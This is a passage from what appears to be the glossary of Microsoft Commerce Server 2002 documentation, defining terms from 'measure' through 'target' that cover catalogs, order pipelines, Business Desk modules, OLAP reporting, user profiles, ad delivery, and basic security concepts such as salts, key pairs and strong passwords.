See multidimensional expression.

measure

Data, generally numeric, that measures a business event. For example, the number of purchases a user made is a measure.

See also: dimension, grouped reports

measured accuracy sample fraction

The percent of the sample data used to score an analysis model.

See also: case, score, sample size

message body

The content that is delivered in an e-mail message.

message header

The first part of an e-mail message that specifies the address of the recipient, the message format, the language, and optionally, the globally unique identifier (GUID).

messaging port

A set of rules configured by using BizTalk Messaging Manager with which you can direct how documents are enveloped, secured, and transported to a designated destination organization.

meta-data

Data used to describe other data. For example, data type is a piece of meta-data that further describes a property.

MHTML

See MIME Encapsulation of Aggregate HTML Documents.

Microsoft intermediate language (MSIL)

A language used as the output of a number of compilers and as the input to a just-in-time (JIT) compiler. The run time includes several JIT compilers for converting MSIL to native code.

See also: managed code

Microsoft Management Console (MMC)

A framework for hosting administrative tools called consoles. A console may contain tools, folders, other containers, Web pages, and other administrative items. These items are displayed in the left pane of the console, called a console tree. A console has one or more windows that can provide views of the console tree. The main MMC window provides commands and tools for authoring consoles.

See also: snap-in

MIME

See Multipurpose Internet Mail Extensions.

MIME Encapsulation of Aggregate HTML Documents (MHTML)

A message format that is supported by Direct Mailer. When you choose MHTML to format a Direct Mailer message, you can send portions of a Web page or an entire Web page as a message. The message can include all or portions of the HTML formatting, graphics, and other elements contained in the original Web page.

See also: Multipurpose Internet Mail Extensions (MIME)

MMC

See Microsoft Management Console.

module configuration file

An XML configuration file that defines the actions, tasks, and entry points for a Commerce Server Business Desk module (or set of modules). Module entry points identify the category with which they are associated.

MSCSAuth ticket

See authentication ticket.

MSCSProfile ticket

See profile ticket.

MSIL

See Microsoft intermediate language.

multicurrency order

An online purchase of items that are priced in different currencies. For example, a company may order parts from a vendor that is offering some of the parts priced in US dollars and others in Swiss franks. To support multicurrency orders on your site, a developer must customize the Order Processing Pipeline.

See also: buyer currency, conversion type, base currency, supplier currency

multicurrency transaction

An exchange of money for goods or services between a buyer and a business, made over a Web site owned by the business, or between a supplier and a business using a Web site, in which the preferred currency of the buyer or supplier is different than the base currency specified for the site.

See also: supplier currency, base currency

multidimensional expression (MDX)

An expression used for querying and manipulating the multidimensional data stored in OLAP server cubes.

multilingual catalog property

A catalog property that has a unique value for each language of the catalog it is used in. Commerce Server 2002 supports the following multilingual property types: multilingual text, multilingual long text, multilingual filename, and multilingual multiple choice.

multiple-choice property

A property that contains a set of predefined values. For example, you could create a multiple-choice property named Shirt_Size, and define the following possible values: S, M, and L.

multiple-instance pattern

A design pattern that allows the creation of multiple instances for a single resource.

See also: singleton pattern

Multipurpose Internet Mail Extensions (MIME)

A standard that extends the Simple Mail Transfer Protocol (SMTP) to permit data, such as video, sound, and binary files to be transmitted by Internet e-mail without having to be translated into ASCII format first.

See also: MIME Encapsulation of Aggregate HTML Documents (MHTML)

mutual authentication

An authentication method in which both the client and the server must prove their identities. Mutual authentication can be achieved using the certificate authentication process, in which a client computer presents its certificate to the server, and the server presents its certificate to the client computer.

N

namespace

A logical naming scheme for grouping related types. For example, the .NET Framework uses a hierarchical naming scheme for grouping types into logical categories of related functionality, such as ASP .NET application framework, or remoting functionality. Design tools can use namespaces to make it easier for developers to browse and reference types in their code. The concept of a namespace is orthogonal to that of an assembly: a single assembly can contain types whose hierarchical names have different namespace roots, and a logical namespace root can span multiple assemblies. In the .NET Framework, a namespace is a logical design-time naming convenience, whereas an assembly establishes the name scope for types at run time.

See also: assembly

navigation pane

In Commerce Server Business Desk, the window on the left side of a list page that displays the hierarchy of categories and modules.

Need of Delivery (NOD)

The formula that Commerce Server uses to determine the time and frequency with which it delivers a piece of content. This formula takes into account the total quantity of content to be delivered, and the length of time over which the quantity must be delivered. Need of Delivery is calculated for each ad request by the Content Selection Framework, after it has processed the ad request. Need of Delivery is applied to paid ads; it is not applied to house ads.

See also: ad request, paid ad, yield

NOD

See Need of Delivery.

node

A graphical representation of an attribute, as displayed by the Predictor Model Viewer.

See also: attribute

non-Commerce application

A container of non-Commerce Web servers with the common properties for the application. It is analogous to a Commerce application and its Commerce Web server members.

non-Commerce Web server

A Web server that Commerce Server has not been installed on. It produces W3C format log files that can be imported to the Data Warehouse and used for analysis. A non-Commerce Web server may or may not be running Internet Information Services (IIS).

non-transacted pipeline

A pipeline that does not support COM+ transactions. MtsPipeline and PooledPipeline are the only objects that support non-transacted pipelines.

See also: pipeline, pipeline object, transacted pipeline

O

OLAP

See online analytical processing.

one-way hashing

An algorithm used to produce a hash value for some piece of data. The algorithm is termed one-way because subsequent decryption of the data is not a requirement.

online analytical processing (OLAP)

A class of technologies that are designed for live, ad-hoc data access and analysis. OLAP data is stored in a multidimensional database, which considers each data attribute (such as product, geographic sales region, and time period) as a separate dimension. OLAP data is grouped and organized, by shared dimensions, in cubes. The Data Warehouse uses OLAP cubes to store imported data, which accelerates report and query processing.

See also: dimension, cube

open visit

In Business Desk reports, a visit still in progress when a log file stops collecting data. For example, you set up daily log file rotation so that site activity is logged to a new log file every day starting at 12:00:01 AM. The report shows the users who have open visits in the log file for Monday if those users start browsing your site Monday night and are still browsing your site after 12:00:01 AM, Tuesday morning.

See also: log file, closed visit, visit

operational data

Data that is collected, typically in log files, on a daily or other periodic basis. After it is collected, operational data is often imported into the Data Warehouse.

opt in

An action a user takes to subscribe to a mailing list.

opt out

An action a user takes to unsubscribe from a mailing list. The user is added to the opt-out list.

opt-out list

A list of users who have chosen to unsubscribe to a mailing list.

order

An online purchase submitted by a user to your Web site. An order typically includes one or more items, the name and address of the user, and the form of payment for the purchase.

order form object

The object that stores state data about the current, and possibly historical, purchases of a particular user.

Order Processing pipeline

The software infrastructure that links several components and runs them in sequence. Commerce Server 2002 includes three Order Processing pipelines: product, plan, and purchase.

order status code

A numerical data code used in Commerce Server Business Desk to identify the types of order status used on your Web site. For example, you may create order status codes to define saved orders, deleted orders, or unprocessed orders.

Order Status module

The Commerce Server Business Desk module used to view order status information and display all the details associated with an order including the order header and line-item information.

Orderform header

The logical grouping of fields at the root of the OrderForm that map to the OrderFormHeader table in the Commerce Server Data Warehouse.

organization

A company, division, department, or other business unit within a company that is designated within Commerce Server Business Desk as a source or destination for the exchange of business documents. The set of properties that represent the key characteristics of the organization related to the electronic exchange of documents is referred to as an organization profile. Also, an organization is a grouping of users.

See also: Organizations module

organization profile

A set of properties that describe a company, division, department, or other business unit within a company. For example, name, account number, spending limits, company discount, and so forth, are all properties that can constitute an organization profile. In Commerce Server Business Desk, you can set up an organization profile for companies with which you have a business relationship.

Organizations module

The Commerce Server Business Desk module used to add, modify, or delete organization profiles.

See also: organization

output fraction

The fraction of properties that will be predicted by an analysis model. For example, if an analysis model uses demographic properties to predict product purchases, and the output property fraction is set to 0.5, then only the top half of the most significant purchased products will be predicted.

See also: input fraction

P

package

A file created by the Commerce Server Site Packager deployment tool that contains all the data necessary to deploy a site onto a different computer. This includes applications and resources, including the resource property settings stored in the Administration database. A package does not contain those property settings that are specific to a computer (such as connection strings). Package files have a .pup extension. <p>Also, a specific configuration of DTS tasks.</p>

See also: Data Transformation Services (DTS), Data Transformation Services (DTS) task

page group

A set of associated Web pages that you create using the Reference Tables module in Business Desk. For example, if you are running a newspaper site, you might create a page group for Sports, one for the Top Story, and another for Local News. You can set advertising rates by page group, run reports to see the total number of hits for a page group, and target ads to run on specific page groups. A site developer must ad-enable a Web page before it can be assigned to a page group.

See also: AggregateColumn

paid ad

An advertisement that is served with specific delivery goals. The determination to serve an ad at a given time is based on a Need of Delivery calculation, which takes into account the total quantity of content (number of ads) to be delivered, and the length of the time period during which the ad must be served. You specify the criteria used to serve paid ads; that is you "goal" them at either the campaign level or at the advertising item level. For paid ads goaled at the campaign level, you specify a weight for each ad. For paid ads goaled at the advertising item level, you specify a quantity of ad requests or clicks to be delivered for each ad in the campaign.

See also: ad request, campaign goaling, Need of Delivery (NOD), weight

parent category

An entity used in catalogs to group a set of products in a hierarchy. For example, Music is a parent category, and Rock, Jazz, and Classical are child categories. You create parent and child categories to organize the products displayed on your site.

See also: ancestor category, descendant category, root category, child category, primary parent category

password

See strong password.

PE file

See portable executable file.

percent click through

The number of click an ads receives, divided by the number of ads served, as shown in the Campaign Item Summary report. For example, if an ad is shown 100 times on your site and users click on 25 of them, when you run the Campaign Item Summary report, it calculates the percent click through as 25 percent.

See also: ad click

percentage markup

The percentage amount that the list price is increased to arrive at a custom price. For example, a 20 percent increase means that the price is 120 percent of the list price.

percentage off

The percentage amount that the list price is decreased to arrive at a custom price. For example, a 20 percent discount means that the price is 80 percent of the list price.

Permissions module

The Commerce Server Business Desk module used to set security permissions for all Business Desk modules.

See also: area, entity, element, Windows account

Permissions resource

See Business Desk Permissions resource.

personalization

A feature with which you can direct Web-based content or e-mail messages to users based on their user profile data and their previous requests for content.

See also: target group, Campaign Expressions module, Commerce Server Direct Mailer, Predictor resource, target expression

physical store

The physical databases that comprise the Data Warehouse.

PIA

See Primary Interop Assembly.

pipeline

A software infrastructure that defines and links together one or more stages of a business process, running them in sequence to complete a specific task. Each stage of a pipeline contains one or more pipeline components (COM objects) that can be configured to work with the unique requirements of the site.

See also: non-transacted pipeline, pipeline object, transacted pipeline, Direct Mailer Pipeline, Content Selection Pipeline

pipeline component

The Component Object Model (COM) server object that implements the required pipeline component interfaces. Each component performs operations on some part of an OrderForm object or Dictionary object before sending it to the next component or stage in the pipeline.

See also: Direct Mailer Pipeline, Content Selection Pipeline

pipeline configuration file

A file containing the configuration data for a pipeline. The pipeline specified in the file is created and run by a pipeline object. The file contains stages and components that can be customized using the Pipeline Editor.

pipeline configuration template

The template file used to create new pipelines. The pipelines created using a pipeline configuration template are saved as pipeline configuration (.pct) files. The templates serve as the basis for creating custom pipelines. Stages and components can be added, deleted, or renamed in any template.

Pipeline Editor

An application used to create and edit Commerce Server pipeline configuration (.pcf) files. The Pipeline Editor displays a pipeline as a pipe graphic, showing the stages of the pipeline as segments of the pipe. The components used in a stage appear as valves.

pipeline object

An object that uses pipeline configuration files to execute a series of components. Commerce Server 2002 provides six objects to execute pipelines: MtsPipeline, MtsTxPipeline, PooledPipeline, PooledTxPipeline, OrderGroup, and OrderPipeline. The MtsPipeline and PooledPipeline objects do not support COM+ transactions.

See also: non-transacted pipeline, pipeline, transacted pipeline

PivotChart report

A report that is displayed in an interactive chart. You can use the chart to view and rearrange data graphically, in a similar manner to a PivotTable report. In Commerce Server, you can view dynamic reports as PivotChart reports. To view PivotChart reports, use the Reports module in Commerce Server Business Desk.

PivotColumn

A column in a dense or sparse table that contains the identification of the properties that are used for prediction. For example, the PivotColumn contains stock keeping units (SKUs) when predicting products, PageGroupIDs when predicting page groups, or AdIDs when predicting ads. The PivotColumn is identified in the PredictorDataTables table.

See also: AggregateColumn, CaseColumn, dense table, sparse table

PivotTable report

A report that is displayed in an interactive table. You can rotate the rows and columns of the table to see different summaries of the source data, filter the data, or display detail data for different areas of interest. In Commerce Server, you can view dynamic reports as PivotTable reports. To view PivotTable reports, use the Reports module in Commerce Server Business Desk.

pooled pipeline

The pipeline object that is registered with COM+ to take advantage of object pooling.

popularity penalty

A penalty applied to a prediction that reduces the probability that a popular (well known) item will be recommended.

port

See messaging port.

portable executable (PE) file

The file format used for executable programs as well as for files that are linked together to form executable programs.

Prediction model

A summary of the data that is used by the algorithm for prediction. Use the Prediction Model Viewer in Commerce Server Manager to view Prediction models.

prediction model configuration

A user-defined description of the data used for a Prediction or Segment model.

Prediction Model Viewer

A browsing tool used to view both the dependency network and the individual decision trees of a Prediction model.

Predictor resource

A global resource that is also a Windows 2000 service. The Predictor resource is managed through Commerce Server Manager, and consists of a powerful data-mining engine that enables you to provide predictive capabilities for your Web site based on the aggregate properties of the entire user population that visits your site. Use the Predictor resource to build analysis models that you then deploy to your Web site in order to analyze user information.

See also: implicit profiling, personalization

pricing category

A category in which every product gets the price from the category. That is, the category overrules the price assigned at the product level.

Primary Interop Assembly (PIA)

An assembly containing metadata that describes existing COM types that are already described in a COM type library. When you use the types defined in a type library, always refer to the Primary Interop Assembly for that type library, instead of reimporting or redefining the types themselves. Avoid using interop assemblies that are not Primary Interop Assemblies.

See also: runtime callable wrapper, assembly

primary key

One or more fields (for example, in a column) whose value or values uniquely identify each record in a table. A primary key cannot allow Null values and must always have a unique index. A primary key is used to relate a table to foreign keys in other tables.

See also: unique key, dual key, referential integrity, foreign key

primary parent category

The parent category of a product or category that is used to determine the canonical path to that product or category, or to apply category level pricing rules to the category or product. You specify the primary parent category when you assign a category or product to a parent category. A category or product can have only one primary parent category. When a product belongs to more than one category, the primary parent category determines the canonical path to the product.

See also: canonical path, parent category

private key

The secret half of a cryptographic key pair that is used with a public key algorithm. Private keys are typically used to decrypt data that has been encrypted with the corresponding public key.

See also: public key

probability distribution

For a discrete attribute, a set of probabilities, one for each possible value of the attribute.

For a continuous attribute, x, a function that when integrated from a to b yields the probability that the value of x lies between a and b. Also known as a probability density for x.

product

An item for sale in a catalog. Each product is an individual instance of a product definition. For example, a product based on the Book product definition (which has the properties "Author," "Title," and "List Price") may have the properties "Bill Gates," "The Road Ahead," and "$15.00." Use the Catalog Editor module in Business Desk to manage products.

Product Catalog resource

A Commerce Server resource with site-level properties, managed through Commerce Server Manager. Use the Product Catalog resource to configure the connection string to the database containing catalog data.

product definition

The properties that are available in a particular product type. Each product is associated with a product definition. For example, the Book product definition could contain the following properties: "Author," "Title," and "List Price." A product definition must have one product identifier, such as a stock-keeping unit (SKU), and always has a List Price property. Use the Catalog Definition Designer module in Business Desk to manage product definitions.

product family

A product that has product variants. For example, the product family "Women's Thermal Shirts" may include the following product variants: red shirt, blue shirt, and green shirt. A product family always has a unique identifier, such as the name of the product.

product identifier

A required property that uniquely identifies products within a catalog, such as a stock-keeping unit (SKU). A product identifier cannot be removed from the product definition.

product pricing

Determining how much to charge a particular user for a particular product.

product properties

The properties that form a product definition. For example, the Book product definition may have the following product properties: "Author," "Title," and "List Price." Use the Catalog Definition Designer module in Business Desk to manage product properties.

product relationship

A way of associating one product in a catalog with another product or category. For example, printers may be related to printer ribbons or ink cartridges, but these products would be in different categories. A product relationship has a name, indicating the type of relationship (for example, "Accessory"), and it has a source product or category and a target product or category. Use the Catalog Definition Designer module in Business Desk to manage product relationships.

product variant

A specific item that is grouped with related variants that together form a product. Variants usually vary from each other in one or more properties. For example, a medium-sized, green shirt with a stock-keeping unit (SKU) of 14678 is one product variant of the Shirt product; together size, color, and SKU form one variant. A product variant always includes a unique identifier, such as an SKU, and a price. Each product variant is based on the same product definition.

product variant properties

The properties that vary among product variants. For example, the product variant medium-sized, green shirt, has two product variant properties: size and color.

profile

A set of characteristics that define any business-related item, such as a user, a company, or a business process. Each profile is an individual instance of a profile definition. For example, a profile based on the New User profile definition may have the properties Terry Eminhizer, 52, Female. You can specify the profile data that the Users module collects about users who visit your site. This information may include name, age, gender, address, and so forth.

profile definition

The properties that are available in a particular profile type. Each profile is associated with a profile definition. For example, the New User profile definition could contain the following properties: name, age, gender, address, and so forth. Use the Profile Definition Designer module in Business Desk to manage profile definitions.

Profile Definition Designer module

The Commerce Server Business Desk module used to add and change profile definitions.

profile property

A characteristic that specifies which profile data is to be collected when a user visits your Web site. For example, the First Name property specifies that the first name of the user should be collected. Use the Profile Definition Designer module in Business Desk to manage profile properties.

profile property attribute

A characteristic that describes a profile property. Profile property attributes include information such as the data type of the profile property (for example, number, text, and decimal), whether the property is single-valued (for example, only one First Name is allowed) or multi-valued, and whether the data is imported into the Data Warehouse.

profile ticket

A ticket created by Commerce Server for anonymous (guest) users. Also called MSCSProfile ticket.

See also: authentication ticket, ticket

ProfileDesigner HTML Component (HTC)

The HTC used to edit profiles, such as a user profile.

Profiles resource

A Commerce Server resource with global-level properties, managed through Commerce Server Manager. You use the Profiles resource to specify the database connection string to the database containing user profile data. You also use the Profiles resource to create, edit, and delete profile properties and profiles. You can add and remove data sources, such as SQL Server databases or Active Directory data sources.

See also: Biz Data Service

ProgID

See Programmatic Identifier.

Programmatic Identifier (ProgID)

A unique name that identifies a program or Component Object Model (COM) object. Unlike a globally unique identifier (GUID), a ProgID is usually an intelligible alphanumeric string, for example, "Commerce.Dictionary."

property

A characteristic of a product, category, or profile. All properties have a name and a data type (for example, Description text).

property definition

A specification of a property that is available for use in profile definitions, category definitions, or product definitions. For example, you might create a property definition named Description that is type "string." Or you might create a property definition named Gender that is type "enumerated" and it accepts only two values: "Male" or "Female." Use the Catalog Definition Designer module and the Profile Definition Designer module in Business Desk to manage property definitions.

property-based search

A search method in which you can search a catalog for products that have properties with specific values (such as price > $20 and color = blue).

proxy server

A firewall component that manages Internet traffic to and from a local area network (LAN) and can provide other features, such as document caching and access control. A proxy server can improve performance by caching and directly supplying frequently requested data, such as a popular Web page, and can filter and discard requests that the owner does not consider appropriate, such as requests for unauthorized access to proprietary files.

public key

The nonsecret half of a cryptographic key pair that is used with a public key algorithm. Public keys are typically used when encrypting data that can be decrypted with the corresponding private key.

See also: private key

Publish Campaigns module

The Commerce Server Business Desk module used to update your site with new campaign information. The Publish Campaigns module empties the caches that store campaign information for your site. The next time Commerce Server receives a request for campaign data, the updated data is loaded in the caches.

See also: cache

Publish Order Codes module

The Commerce Server Business Desk module used to update your site with new transaction information such as new tax rates and shipping methods. The Publish Order Codes module empties the caches that store transaction information for your site. The next time Commerce Server receives a request for order codes data, the updated data is loaded in the caches.

See also: cache

Publish Profiles module

The Commerce Server Business Desk module used to update your site with new profile information. The Publish Profiles module empties the caches that store profile information for your site. The next time Commerce Server receives a request for profile data, the updated data is loaded in the caches.

See also: cache

PUP

See Commerce Server Site Packager.

Q

query

A specific request to retrieve, change, or delete data.

QueryBuilder HTML Component (HTC)

The HTML Component (HTC) used to build a simple query.

R

reach

The number of unique users who performed a specific action, such as clicking on a specific ad.

See also: frequency, click frequency

recommendation score

A value that measures the quality of analysis models when used to recommend products for cross selling. The score measures the quality of a ranked list of recommendations returned from the models.

See also: score

Reference Tables module

The Commerce Server Business Desk module used to create and manage content sizes, industry codes, and page groups.

referential integrity

A state in which all foreign key values in a database are valid. To be valid, a foreign key must contain either the value NULL, or an existing key value from the primary or unique key columns referenced by the foreign key.

See also: primary key, unique key, foreign key

registered user

Someone who visits a Web site and purposefully supplies personal information, such as name, address, and phone number. This information is transmitted back to the server and can be used to tell how many of your customers are male and female, how many purchased specific items, which customers consistently order the same products, and other details.

related sell

A class of promotions that help display additional merchandise to users by creating a relationship between the products that they are viewing or have in their basket, and other related products. Use the Commerce Server 2002 Software Development Kit to provide up-sell and cross-sell functionality to your site. Use the Predictor resource to add intelligent cross-sell functionality.

See also: cross sell, intelligent cross-sell

relation

See class relation and class member relation.

reliability

A measure of the time between failures (mean time between failures), where failure is defined as a departure from acceptable service for an application, a computer system, or the network system. In contrast, availability involves reliability as well as the time required to bring a system back to normal operations after it goes down (or is taken down for planned maintenance or upgrade). When you plan for a Commerce Server installation, you plan your hardware, network, and operational procedures to obtain the level of reliability you require.

replication

The process of copying content and/or configuration settings from one server node to another. You can copy files manually or use replication software to copy them automatically. Replication is a necessary function of server clustering to ensure fault tolerance.

report definition

The fields and queries that are populated with data when a report is run. Each report has its own report definition. When you customize a report, you customize the report definition, not the report that contains the data.

Reports module

The Commerce Server Business Desk module used to select and run a report.

request

Any connection to an Internet site that requests content to be retrieved from a URL. Unlike hits, requests are related to content and user behavior. For example, if a user requests an HTML page that has three graphics files, the Web server might make a log entry for the three graphics files, the HTML page, and perhaps add some lines for overhead. However, for the reports run in the Analysis modules in Business Desk, only one request is counted. Also known as a Web request or an HTTP request.

request duration

The time between two consecutive requests in the same visit.

required component

The Component Object Model (COM) server object that ensures the integrity of data leaving the stage. Required components also perform currency and integer conversions so that stages containing all Site Server 3.0 Commerce Edition components will perform properly with stages containing all Commerce Server 2002 components.

resource

An entity that provides functionality to the applications in a Commerce Server site. A resource has one or more COM objects. These are used on the Web pages of an application to access the functionality of the resource. A resource may have global properties or site-level properties, but not both. Resource properties are stored in the Administration database. A set of resources ships with Commerce Server; some of these resources are also Windows 2000 services. Third parties can develop custom resources to work with Commerce Server. You use Commerce Server Manager to manage resources.

See also: global resource, service, site resource

root category

A category that is not a child of any other category. A root category may or may not have children, but it does not have a parent.

See also: parent category, ancestor category, child category, descendant category

root product

A product contained in a catalog that is not associated with any category.

row dimension

A dimension in a dynamic report that defines data in the report rows. You can select any dimensions to be a row dimensions or a column dimensions.

See also: dimension, filter dimension, column dimension

runtime callable wrapper

A wrapper class that allows a .NET-based application to interact with a COM component. The run-time callable wrapper is responsible for instantiating the COM object, managing references to the object, making interface method calls, and returning values.

See also: Primary Interop Assembly (PIA)

S

salt

A 32-bit random number that is prefixed to the user data before a hash is performed. This increases the security of hashed encryption schemes.

sample size

The number of cases used to build an analysis model.

See also: case, measured accuracy sample fraction

scaling

Expanding the capacity of a Web server or server cluster to accommodate increased site traffic and improve site performance.

scaling out

See horizontal scaling.

scaling up

See vertical scaling.

score

A measurement of how accurately an analysis model predicts new data. You use these scores to measure the effectiveness of analysis models as you adjust the values used for the Sample size and Input and output attribute fraction parameters in the Build Model dialog box.

See also: data fit score, recommendation score, measured accuracy sample fraction

security identifier (SID)

A unique number that identifies each user, group, and computer account. Every account on your network is issued a unique SID when the account is first created. Internal processes in Windows 2000 refer to an account SID rather than the account user or group name. In the Business Desk Permissions module, the SID can refer to a user or a group, and can be built in or user defined.

segment

In the Segment Viewer module, a group of users who share similar profile properties.

segment comparison

In the Segment Viewer module, a view showing the differences between the selected segments.

segment group

In the Segment Viewer module, a collection of similar segments.

segment hierarchy

In the Segment Viewer module, a hierarchical arrangement of segments and segment groups in which a parent segment includes all the users that its child segments contain. The top-level segment group represents the entire population.

Segment model

In the Segment Viewer module, a summary of the data that is used by the algorithm for segmentation. Use the Segment Viewer module in Commerce Server Business Desk to view Segment models.

segment summary

In the Segment Viewer module, a sorted list of the most significant properties that characterize a segment.

Segment Viewer module

The Commerce Server Business Desk module used to identify usage trends and make marketing decisions based upon similarities among users.

segmentation

A data mining technique that identifies groups of cases that are similar to each other. Use the Segment Viewer module to perform segmentation.

server cluster

Two or more computers connected together for the purpose of sharing resources and request load. Each member of a server cluster is called a node. Nodes in a server cluster can have their own storage devices or share a common device. Typically, server clustering involves support for load balancing, fault tolerance, and failover.

See also: Web farm

server extensions

A set of programs on a Web server that support administering, authoring, and browsing a FrontPage-extended Web site.

server farm

See server cluster, Web farm.

service

A program, routine, or process that performs a specific system function to support other programs, particularly at a low (close to the hardware) level. When services are provided over a network, they can be published in Active Directory, facilitating service-centric administration and usage. Services have a set of common administrative functions. For example, a service can be started, stopped, paused, or resumed; its start parameters can be modified; and it can be administered using command line utilities and scripts. Commerce Server includes the following resources that are also services: Direct Mailer, Predictor, and List Manager.

See also: resource

shared hosting

A service provided by an Application Service Provider (ASP). An ASP serves pages for multiple Web sites, which may or may not have their own Internet domain names, from a single Web server. Shared hosting is a less expensive way for businesses to create and manage a Web application.

Shipping Methods module

The Commerce Server Business Desk module used to define your shipping method, either by weight, quantity, or subtotal.

SID

See security identifier.

singleton pattern

A design pattern that allows the creation of only one instance of a resource.

See also: multiple-instance pattern

site

In Commerce Server Manager, a container for Commerce Server applications and site-level resources. For example, the Retail site contains two applications: the business-to-consumer Web site and the business-to-consumer Commerce Server Business Desk, and both share the same site-level resources.

Site Configuration Store

The Administrative database containing configuration settings for the site, including the base currency, alternate currency, and SMTP server name.

site developer

The person who writes the HTML/ASP code for your Web site to customize it for your business. This person might also customize reports and add or modify Business Desk modules to extend the functionality for your unique business needs.

Site Packager

See Commerce Server Site Packager.

site provisioning

The process of deploying a new site in a hosting environment. Site provisioning includes tasks such as unpacking the application, creating the databases to be used by the site, and assigning the appropriate permissions that enable business managers to manage the site.

site resource

A resource that is available for use by a specific site. All resources used by a site expose an object at the site level in Commerce Server Manager. For example, a global resource can also be a site resource: a global resource used by a site exposes an object at the site level; the only property that the object exposes is a pointer to the associated global resource at the global level.

A site resource can have all of its properties at the site level, or all of its properties at the global level, but it cannot have both. You configure the properties of a site resource at the site level. A set of site resources is included with Commerce Server, and third parties can develop custom site resources. You use Commerce Server Manager to manage site resources.

See also: resource

site terms

A list of specific values that are pertinent to your site. You use a site term to assign this list of values, called terms, to a profile property as the property type. For example, you can create a site term named Gender, and define the following possible terms: "Female" and "Male." When you create a profile property named Gender, and assign the gender site term as the type reference, users will be able to select "Female" or "Male" from the drop-down list that is displayed for the gender property on your Web site. Users can select only one of the possible values for the property.

By applying site terms to profile properties, you establish common words that can be used throughout Commerce Server, for example, to target advertising content to users.

See also: Site Terms Editor module, Site Vocabulary

Site Terms Editor module

The Commerce Server Business Desk module used to add and edit site terms.

See also: site terms

Site Vocabulary

A hierarchically arranged set of possible values for user and content attributes in Site Server 3.0. In Commerce Server 2002, Site Vocabulary becomes site terms.

See also: site terms

SKU

Stock keeping unit. In Commerce Server, the SKU is a unique identifier, usually alphanumeric, for a product. The SKU allows a product to be tracked for inventory purposes. A SKU can be associated with any item that can be purchased. For example, a shirt in style number 3726, size 8 might have a SKU of 3726-8.

snap-in

A type of tool you can add to a console supported by Microsoft Management Console (MMC). A stand-alone snap-in can be added by itself; an extension snap-in can only be added to extend the function of another snap-in.

See also: Microsoft Management Console (MMC)

Solution Site

A set of Commerce Server features that are pre-configured for a specific site scenario and bundled into a package file. Commerce Server includes the Blank Solution Site in the box. The other two sites, Retail and Supplier, are available online at: http://go.microsoft.com/fwlink/?linkid=6491. Each Solution Site is designed to be unpacked and then customized to meet the needs of your site.

sparse table

A database table that contains sparse information. An example would be a transaction history table that contains the following columns: CustomerID, ProductID, Quantity. In this table, there is one row for each purchase. If a user purchased three products, or a product is purchased by three users, that information is stored in three rows. When a case is built from a sparse table, columns in the sparse table are identified in the PredictorDataTables table as the CaseColumn, PivotColumn, and AggregateColumn. A model configuration can reference multiple sparse tables and can reference the same sparse table multiple times, each time using different columns as the CaseColumn, PivotColumn, and AggregateColumn.

See also: AggregateColumn, case, CaseColumn, dense table, PivotColumn

specification search

A search method in which you can perform a progressive drill-down search of products by specifying parameter constraints, such as a category, product, or property. To perform a specification search, you search for properties by progressively reducing the number of products that match your search criteria. Specification searches are useful when you do not want to search all of your products for a property, but you need to identify a group of products instead.

specification searchable

A Yes/No flag in a property definition that indicates whether the property can be found through a specification search.

sponsor

An advertising customer who pays to run ads on specific sections or pages of a site, to the exclusion of all other ads. These ads are given priority over all other ads, even targeted ads. Often these ads are messages that are integrated with your content on an exclusive basis, for example, transition ads with "brought to you by" messages. Both pages and targets can have sponsors. To set up this type of ad, use the Target Groups module in Business Desk and specify the sponsor action in a target expression.

spot rate

A dynamic conversion rate that is not set until the conversion time. Market changes can affect the spot rate between the time the customer purchases items on the site and the conversion time. For this reason, it is suggested that all item prices not displayed in the base currency of the Web site be marked as approximate.

See also: conversion rate, conversion time, conversion type, fixed rate

stage

A subdivision of a pipeline that serves as a logical grouping of components. For example, the Tax stage groups together pipeline components related to calculating the tax that should be applied to a particular order.

See also: default component, Direct Mailer Pipeline, Content Selection Pipeline, stage affinity

stage affinity

A quality of components that can function within a given stage. To identify the stage or stages with which a component has an affinity, you write the class ID of the new component to the \HKEY_CLASSES_ROOT\CLSID\component_classid\implemented categories\stage_catid key within the Microsoft Windows NT Registry, where stage_cat_id is the globally unique identifier (GUID) of the stage with which the component will have an affinity, and where component_class_id is the class ID of the component itself.

See also: stage

state/province code

A three-character data code used in Commerce Server Business Desk to identify the state or province to which products will be shipped. State/province codes must be set up in order to use the Tax module of Commerce Server Business Desk.

static list

A list of user records that is created immediately upon request, and then stored in the List Manager database. (This differs from a dynamic list, where only the information needed to create the list is stored in the List Manager database.) Use static lists for direct mail campaigns that you run infrequently, or if the list of recipients does not change frequently.

See also: dynamic list

static report

A report that is run immediately upon request and then stored, with the data, in the Data Warehouse. (This differs from a dynamic report, where only the information needed to create the report is stored in the Data Warehouse.) You can post static reports to your Web site, and you can export the data in a static report to the List Manager module in Business Desk. Use the Reports module to run static reports, and use the Complete Reports module to view them.

status bar

The short, wide display area at the bottom of the Commerce Server Business Desk content pane. It is used to display current task status, such as a loading message, and a key of symbols used in the HTML components (HTCs) in the action page.

See also: action page

store

A specific set of tables in a database.

See also: expression store

stress testing

Testing performed on a Commerce Server application to ensure that it can support the expected number of concurrent users and handle peak user loads while maintaining the required level of performance. Stress testing is performed with a stress tool that generates loads defined by the system administrator to approximate the expected use patterns of the site. Also called load testing.

striping

The process of storing data in stripes on two or more physical disks. Data in a striped volume is allocated alternately and evenly (in stripes) to striped disks. Striped volumes offer the best performance of all volumes available in Windows 2000, but they do not provide fault tolerance. If a disk in a striped volume fails, the data in the entire volume is lost. You can create striped volumes only on dynamic disks. Striped volumes cannot be mirrored or extended. In Windows NT 4.0, a striped volume was known as a stripe set.

strong password

A password with the following characteristics: contains at least six characters, contains at least one symbol character in the second through sixth positions, is significantly different from passwords previously used, does not contain your name or user name, is not a common word or name, and contains characters from each of the following three groups. (1) Uppercase and lowercase letters (A, a, B, b, C, c, and so on), (2) Numbers, and (3) Symbols (such as !, @, #, and so on).

subscribe

The process in which users add their e-mail addresses to a List Manager list to receive content, or supply registration information so they can retrieve content or access a service or site.

supplier

A trading partner in a business-to-business site. Use Microsoft BizTalk Server to add suppliers to a site. Also known as a vendor.

supplier currency

The base currency of the business supplying the goods to the Web site. The supplier currency can be different than the buyer currency and the base currency of the site. The supplier_currency field is stored in the orderform line item.

See also: buyer currency, multicurrency order, base currency, multicurrency transaction

system administrator

The primary user of Commerce Server Manager. This person is responsible for installing, configuring, and managing Commerce Server.

T

target

One or more expressions that identify where, when, and to whom content should be displayed. You can target demographics, sections of a Web site, or both.

See also: target expression, target group

target action

